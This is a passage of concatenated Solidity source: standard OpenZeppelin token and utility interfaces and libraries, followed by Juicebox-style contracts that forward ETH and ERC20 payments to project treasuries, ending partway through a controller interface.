/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0-rc.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import './interfaces/IJBProjectPayer.sol';
import './libraries/JBTokens.sol';
//*********************************************************************//
// -------------------------- custom errors -------------------------- //
//*********************************************************************//
error INCORRECT_DECIMAL_AMOUNT();
error NO_MSG_VALUE_ALLOWED();
error TERMINAL_NOT_FOUND();
/**
@notice
Sends ETH or ERC20's to a project treasury as it receives direct payments or has it's functions called.
@dev
Inherit from this contract or borrow from its logic to forward ETH or ERC20's to project treasuries from within other contracts.
@dev
Adheres to:
IJBProjectPayer: General interface for the methods in this contract that interact with the blockchain's state according to the protocol's rules.
@dev
Inherits from:
Ownable: Includes convenience functionality for checking a message sender's permissions before executing certain transactions.
*/
contract JBETHERC20ProjectPayer is IJBProjectPayer, Ownable {
//*********************************************************************//
// ---------------- public immutable stored properties --------------- //
//*********************************************************************//
/**
@notice
A contract storing directories of terminals and controllers for each project.
*/
IJBDirectory public immutable override directory;
//*********************************************************************//
// --------------------- public stored properties -------------------- //
//*********************************************************************//
/**
@notice
The ID of the project that should be used to forward this contract's received payments.
*/
uint256 public override defaultProjectId;
/**
@notice
The beneficiary that should be used in the payment made when this contract receives payments.
*/
address payable public override defaultBeneficiary;
/**
@notice
A flag indicating whether issued tokens should be automatically claimed into the beneficiary's wallet. Leaving tokens unclaimed saves gas.
*/
bool public override defaultPreferClaimedTokens;
/**
@notice
The memo that should be used in the payment made when this contract receives payments.
*/
string public override defaultMemo;
/**
@notice
The metadata that should be used in the payment made when this contract receives payments.
*/
bytes public override defaultMetadata;
/**
@notice
A flag indicating if received payments should call the `pay` function or the `addToBalance` function of a project.
*/
bool public override defaultPreferAddToBalance;
//*********************************************************************//
// -------------------------- constructor ---------------------------- //
//*********************************************************************//
/**
@param _defaultProjectId The ID of the project whose treasury should be forwarded this contract's received payments.
@param _defaultBeneficiary The address that'll receive the project's tokens.
@param _defaultPreferClaimedTokens A flag indicating whether issued tokens should be automatically claimed into the beneficiary's wallet.
@param _defaultMemo A memo to pass along to the emitted event, and passed along the the funding cycle's data source and delegate. A data source can alter the memo before emitting in the event and forwarding to the delegate.
@param _defaultMetadata Bytes to send along to the project's data source and delegate, if provided.
@param _defaultPreferAddToBalance A flag indicating if received payments should call the `pay` function or the `addToBalance` function of a project.
@param _directory A contract storing directories of terminals and controllers for each project.
@param _owner The address that will own the contract.
*/
constructor(
uint256 _defaultProjectId,
address payable _defaultBeneficiary,
bool _defaultPreferClaimedTokens,
string memory _defaultMemo,
bytes memory _defaultMetadata,
bool _defaultPreferAddToBalance,
IJBDirectory _directory,
address _owner
) {
defaultProjectId = _defaultProjectId;
defaultBeneficiary = _defaultBeneficiary;
defaultPreferClaimedTokens = _defaultPreferClaimedTokens;
defaultMemo = _defaultMemo;
defaultMetadata = _defaultMetadata;
defaultPreferAddToBalance = _defaultPreferAddToBalance;
directory = _directory;
_transferOwnership(_owner);
}
//*********************************************************************//
// ------------------------- default receive ------------------------- //
//*********************************************************************//
/**
@notice
Received funds are paid to the default project ID using the stored default properties.
@dev
Use the `addToBalance` function if there's a preference to do so. Otherwise use `pay`.
@dev
This function is called automatically when the contract receives an ETH payment.
*/
receive() external payable virtual override {
if (defaultPreferAddToBalance)
_addToBalance(
defaultProjectId,
JBTokens.ETH,
address(this).balance,
18, // balance is a fixed point number with 18 decimals.
defaultMemo
);
else
_pay(
defaultProjectId,
JBTokens.ETH,
address(this).balance,
18, // balance is a fixed point number with 18 decimals.
defaultBeneficiary == address(0) ? msg.sender : defaultBeneficiary,
0, // Can't determine expectation of returned tokens ahead of time.
defaultPreferClaimedTokens,
defaultMemo,
defaultMetadata
);
}
//*********************************************************************//
// ---------------------- external transactions ---------------------- //
//*********************************************************************//
/**
@notice
Sets the default values that determine how to interact with a protocol treasury when this contract receives ETH directly.
@param _projectId The ID of the project whose treasury should be forwarded this contract's received payments.
@param _beneficiary The address that'll receive the project's tokens.
@param _preferClaimedTokens A flag indicating whether issued tokens should be automatically claimed into the beneficiary's wallet.
@param _memo The memo that'll be used.
@param _metadata The metadata that'll be sent.
@param _defaultPreferAddToBalance A flag indicating if received payments should call the `pay` function or the `addToBalance` function of a project.
*/
function setDefaultValues(
uint256 _projectId,
address payable _beneficiary,
bool _preferClaimedTokens,
string memory _memo,
bytes memory _metadata,
bool _defaultPreferAddToBalance
) external virtual override onlyOwner {
// Set the default project ID if it has changed.
if (_projectId != defaultProjectId) defaultProjectId = _projectId;
// Set the default beneficiary if it has changed.
if (_beneficiary != defaultBeneficiary) defaultBeneficiary = _beneficiary;
// Set the default claimed token preference if it has changed.
if (_preferClaimedTokens != defaultPreferClaimedTokens)
defaultPreferClaimedTokens = _preferClaimedTokens;
// Set the default memo if it has changed.
if (keccak256(abi.encodePacked(_memo)) != keccak256(abi.encodePacked(defaultMemo)))
defaultMemo = _memo;
// Set the default metadata if it has changed.
if (keccak256(abi.encodePacked(_metadata)) != keccak256(abi.encodePacked(defaultMetadata)))
defaultMetadata = _metadata;
// Set the add to balance preference if it has changed.
if (_defaultPreferAddToBalance != defaultPreferAddToBalance)
defaultPreferAddToBalance = _defaultPreferAddToBalance;
emit SetDefaultValues(
_projectId,
_beneficiary,
_preferClaimedTokens,
_memo,
_metadata,
_defaultPreferAddToBalance,
msg.sender
);
}
//*********************************************************************//
// ----------------------- public transactions ----------------------- //
//*********************************************************************//
/**
@notice
Make a payment to the specified project.
@param _projectId The ID of the project that is being paid.
@param _token The token being paid in.
@param _amount The amount of tokens being paid, as a fixed point number. If the token is ETH, this is ignored and msg.value is used in its place.
@param _decimals The number of decimals in the `_amount` fixed point number. If the token is ETH, this is ignored and 18 is used in its place, which corresponds to the amount of decimals expected in msg.value.
@param _beneficiary The address who will receive tokens from the payment.
@param _minReturnedTokens The minimum number of project tokens expected in return, as a fixed point number with 18 decimals.
@param _preferClaimedTokens A flag indicating whether the request prefers to mint project tokens into the beneficiaries wallet rather than leaving them unclaimed. This is only possible if the project has an attached token contract. Leaving them unclaimed saves gas.
@param _memo A memo to pass along to the emitted event, and passed along the the funding cycle's data source and delegate. A data source can alter the memo before emitting in the event and forwarding to the delegate.
@param _metadata Bytes to send along to the data source and delegate, if provided.
*/
function pay(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
address _beneficiary,
uint256 _minReturnedTokens,
bool _preferClaimedTokens,
string calldata _memo,
bytes calldata _metadata
) public payable virtual override {
// ETH shouldn't be sent if the token isn't ETH.
if (address(_token) != JBTokens.ETH) {
if (msg.value > 0) revert NO_MSG_VALUE_ALLOWED();
// Transfer tokens to this contract from the msg sender.
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
} else {
// If ETH is being paid, set the amount to the message value, and decimals to 18.
_amount = msg.value;
_decimals = 18;
}
_pay(
_projectId,
_token,
_amount,
_decimals,
_beneficiary,
_minReturnedTokens,
_preferClaimedTokens,
_memo,
_metadata
);
}
/**
@notice
Add to the balance of the specified project.
@param _projectId The ID of the project that is being paid.
@param _token The token being paid in.
@param _amount The amount of tokens being paid, as a fixed point number. If the token is ETH, this is ignored and msg.value is used in its place.
@param _decimals The number of decimals in the `_amount` fixed point number. If the token is ETH, this is ignored and 18 is used in its place, which corresponds to the amount of decimals expected in msg.value.
@param _memo A memo to pass along to the emitted event.
*/
function addToBalance(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
string memory _memo
) public payable virtual override {
// ETH shouldn't be sent if the token isn't ETH.
if (address(_token) != JBTokens.ETH) {
if (msg.value > 0) revert NO_MSG_VALUE_ALLOWED();
// Transfer tokens to this contract from the msg sender.
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
} else {
// If ETH is being paid, set the amount to the message value, and decimals to 18.
_amount = msg.value;
_decimals = 18;
}
_addToBalance(_projectId, _token, _amount, _decimals, _memo);
}
//*********************************************************************//
// ---------------------- internal transactions ---------------------- //
//*********************************************************************//
/**
@notice
Make a payment to the specified project.
@param _projectId The ID of the project that is being paid.
@param _token The token being paid in.
@param _amount The amount of tokens being paid, as a fixed point number.
@param _decimals The number of decimals in the `_amount` fixed point number.
@param _beneficiary The address who will receive tokens from the payment.
@param _minReturnedTokens The minimum number of project tokens expected in return, as a fixed point number with 18 decimals.
@param _preferClaimedTokens A flag indicating whether the request prefers to mint project tokens into the beneficiaries wallet rather than leaving them unclaimed. This is only possible if the project has an attached token contract. Leaving them unclaimed saves gas.
@param _memo A memo to pass along to the emitted event, and passed along the the funding cycle's data source and delegate. A data source can alter the memo before emitting in the event and forwarding to the delegate.
@param _metadata Bytes to send along to the data source and delegate, if provided.
*/
function _pay(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
address _beneficiary,
uint256 _minReturnedTokens,
bool _preferClaimedTokens,
string memory _memo,
bytes memory _metadata
) internal virtual {
// Find the terminal for the specified project.
IJBPaymentTerminal _terminal = directory.primaryTerminalOf(_projectId, _token);
// There must be a terminal.
if (_terminal == IJBPaymentTerminal(address(0))) revert TERMINAL_NOT_FOUND();
// The amount's decimals must match the terminal's expected decimals.
if (_terminal.decimalsForToken(_token) != _decimals) revert INCORRECT_DECIMAL_AMOUNT();
// Approve the `_amount` of tokens from the destination terminal to transfer tokens from this contract.
if (_token != JBTokens.ETH) IERC20(_token).approve(address(_terminal), _amount);
// If the token is ETH, send it in msg.value.
uint256 _payableValue = _token == JBTokens.ETH ? _amount : 0;
// Send funds to the terminal.
// If the token is ETH, send it in msg.value.
_terminal.pay{value: _payableValue}(
_projectId,
_amount, // ignored if the token is JBTokens.ETH.
_token,
_beneficiary != address(0) ? _beneficiary : msg.sender,
_minReturnedTokens,
_preferClaimedTokens,
_memo,
_metadata
);
}
/**
@notice
Add to the balance of the specified project.
@param _projectId The ID of the project that is being paid.
@param _token The token being paid in.
@param _amount The amount of tokens being paid, as a fixed point number. If the token is ETH, this is ignored and msg.value is used in its place.
@param _decimals The number of decimals in the `_amount` fixed point number. If the token is ETH, this is ignored and 18 is used in its place, which corresponds to the amount of decimals expected in msg.value.
@param _memo A memo to pass along to the emitted event.
*/
function _addToBalance(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
string memory _memo
) internal virtual {
// Find the terminal for the specified project.
IJBPaymentTerminal _terminal = directory.primaryTerminalOf(_projectId, _token);
// There must be a terminal.
if (_terminal == IJBPaymentTerminal(address(0))) revert TERMINAL_NOT_FOUND();
// The amount's decimals must match the terminal's expected decimals.
if (_terminal.decimalsForToken(_token) != _decimals) revert INCORRECT_DECIMAL_AMOUNT();
// Approve the `_amount` of tokens from the destination terminal to transfer tokens from this contract.
if (_token != JBTokens.ETH) IERC20(_token).approve(address(_terminal), _amount);
// If the token is ETH, send it in msg.value.
uint256 _payableValue = _token == JBTokens.ETH ? _amount : 0;
// Add to balance so tokens don't get issued.
_terminal.addToBalanceOf{value: _payableValue}(_projectId, _amount, _token, _memo);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './interfaces/IJBETHERC20ProjectPayerDeployer.sol';
import './JBETHERC20ProjectPayer.sol';
/**
@notice
Deploys project payer contracts.
@dev
Adheres to:
IJBETHERC20ProjectPayerDeployer: General interface for the methods in this contract that interact with the blockchain's state according to the protocol's rules.
*/
contract JBETHERC20ProjectPayerDeployer is IJBETHERC20ProjectPayerDeployer {
//*********************************************************************//
// ---------------------- external transactions ---------------------- //
//*********************************************************************//
/**
@notice
Allows anyone to deploy a new project payer contract.
@param _defaultProjectId The ID of the project whose treasury should be forwarded the project payer contract's received payments.
@param _defaultBeneficiary The address that'll receive the project's tokens when the project payer receives payments.
@param _defaultPreferClaimedTokens A flag indicating whether issued tokens from the project payer's received payments should be automatically claimed into the beneficiary's wallet.
@param _defaultMemo The memo that'll be forwarded with the project payer's received payments.
@param _defaultMetadata The metadata that'll be forwarded with the project payer's received payments.
@param _defaultPreferAddToBalance A flag indicating if received payments should call the `pay` function or the `addToBalance` function of a project.
@param _directory A contract storing directories of terminals and controllers for each project.
@param _owner The address that will own the project payer.
@return projectPayer The project payer contract.
*/
function deployProjectPayer(
uint256 _defaultProjectId,
address payable _defaultBeneficiary,
bool _defaultPreferClaimedTokens,
string memory _defaultMemo,
bytes memory _defaultMetadata,
bool _defaultPreferAddToBalance,
IJBDirectory _directory,
address _owner
) external override returns (IJBProjectPayer projectPayer) {
// Deploy the project payer.
projectPayer = new JBETHERC20ProjectPayer(
_defaultProjectId,
_defaultBeneficiary,
_defaultPreferClaimedTokens,
_defaultMemo,
_defaultMetadata,
_defaultPreferAddToBalance,
_directory,
_owner
);
emit DeployProjectPayer(
projectPayer,
_defaultProjectId,
_defaultBeneficiary,
_defaultPreferClaimedTokens,
_defaultMemo,
_defaultMetadata,
_defaultPreferAddToBalance,
_directory,
_owner,
msg.sender
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
enum JBBallotState {
Active,
Approved,
Failed
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../structs/JBFundingCycleData.sol';
import './../structs/JBFundingCycleMetadata.sol';
import './../structs/JBProjectMetadata.sol';
import './../structs/JBGroupedSplits.sol';
import './../structs/JBFundAccessConstraints.sol';
import './../structs/JBProjectMetadata.sol';
import './IJBDirectory.sol';
import './IJBToken.sol';
import './IJBPaymentTerminal.sol';
import './IJBFundingCycleStore.sol';
import './IJBTokenStore.sol';
import './IJBSplitsStore.sol';
interface IJBController {
event LaunchProject(uint256 configuration, uint256 projectId, string memo, address caller);
event LaunchFundingCycles(uint256 configuration, uint256 projectId, string memo, address caller);
event ReconfigureFundingCycles(
uint256 configuration,
uint256 projectId,
string memo,
address caller
);
event SetFundAccessConstraints(
uint256 indexed fundingCycleConfiguration,
uint256 indexed fundingCycleNumber,
uint256 indexed projectId,
JBFundAccessConstraints constraints,
address caller
);
event DistributeReservedTokens(
uint256 indexed fundingCycleConfiguration,
uint256 indexed fundingCycleNumber,
uint256 indexed projectId,
address beneficiary,
uint256 tokenCount,
uint256 beneficiaryTokenCount,
string memo,
address caller
);
event DistributeToReservedTokenSplit(
uint256 indexed projectId,
uint256 indexed domain,
uint256 indexed group,
JBSplit split,
uint256 tokenCount,
address caller
);
event MintTokens(
address indexed beneficiary,
uint256 indexed projectId,
uint256 tokenCount,
uint256 beneficiaryTokenCount,
string memo,
uint256 reservedRate,
address caller
);
event BurnTokens(
address indexed holder,
uint256 indexed projectId,
uint256 tokenCount,
string memo,
address caller
);
event Migrate(uint256 indexed projectId, IJBController to, address caller);
event PrepMigration(uint256 indexed projectId, IJBController from, address caller);
function projects() external view returns (IJBProjects);
function fundingCycleStore() external view returns (IJBFundingCycleStore);
function tokenStore() external view returns (IJBTokenStore);
function splitsStore() external view returns (IJBSplitsStore);
function directory() external view returns (IJBDirectory);
function reservedTokenBalanceOf(uint256 _projectId, uint256 _reservedRate)
external
view
returns (uint256);
function distributionLimitOf(
uint256 _projectId,
uint256 _configuration,
IJBPaymentTerminal _terminal,
address _token
) external view returns (uint256 distributionLimit, uint256 distributionLimitCurrency);
function overflowAllowanceOf(
uint256 _projectId,
uint256 _configuration,
IJBPaymentTerminal _terminal,
address _token
) external view returns (uint256 overflowAllowance, uint256 overflowAllowanceCurrency);
function totalOutstandingTokensOf(uint256 _projectId, uint256 _reservedRate)
external
view
returns (uint256);
function currentFundingCycleOf(uint256 _projectId)
external
returns (JBFundingCycle memory fundingCycle, JBFundingCycleMetadata memory metadata);
function queuedFundingCycleOf(uint256 _projectId)
external
returns (JBFundingCycle memory fundingCycle, JBFundingCycleMetadata memory metadata);
function launchProjectFor(
address _owner,
JBProjectMetadata calldata _projectMetadata,
JBFundingCycleData calldata _data,
JBFundingCycleMetadata calldata _metadata,
uint256 _mustStartAtOrAfter,
JBGroupedSplits[] memory _groupedSplits,
JBFundAccessConstraints[] memory _fundAccessConstraints,
IJBPaymentTerminal[] memory _terminals,
string calldata _memo
) external returns (uint256 projectId);
function launchFundingCyclesFor(
uint256 _projectId,
JBFundingCycleData calldata _data,
JBFundingCycleMetadata calldata _metadata,
uint256 _mustStartAtOrAfter,
JBGroupedSplits[] memory _groupedSplits,
JBFundAccessConstraints[] memory _fundAccessConstraints,
IJBPaymentTerminal[] memory _terminals,
string calldata _memo
) external returns (uint256 configuration);
function reconfigureFundingCyclesOf(
uint256 _projectId,
JBFundingCycleData calldata _data,
JBFundingCycleMetadata calldata _metadata,
uint256 _mustStartAtOrAfter,
JBGroupedSplits[] memory _groupedSplits,
JBFundAccessConstraints[] memory _fundAccessConstraints,
string calldata _memo
) external returns (uint256);
function issueTokenFor(
uint256 _projectId,
string calldata _name,
string calldata _symbol
) external returns (IJBToken token);
function changeTokenOf(
uint256 _projectId,
IJBToken _token,
address _newOwner
) external;
function mintTokensOf(
uint256 _projectId,
uint256 _tokenCount,
address _beneficiary,
string calldata _memo,
bool _preferClaimedTokens,
bool _useReservedRate
) external returns (uint256 beneficiaryTokenCount);
function burnTokensOf(
address _holder,
uint256 _projectId,
uint256 _tokenCount,
string calldata _memo,
bool _preferClaimedTokens
) external;
function distributeReservedTokensOf(uint256 _projectId, string memory _memo)
external
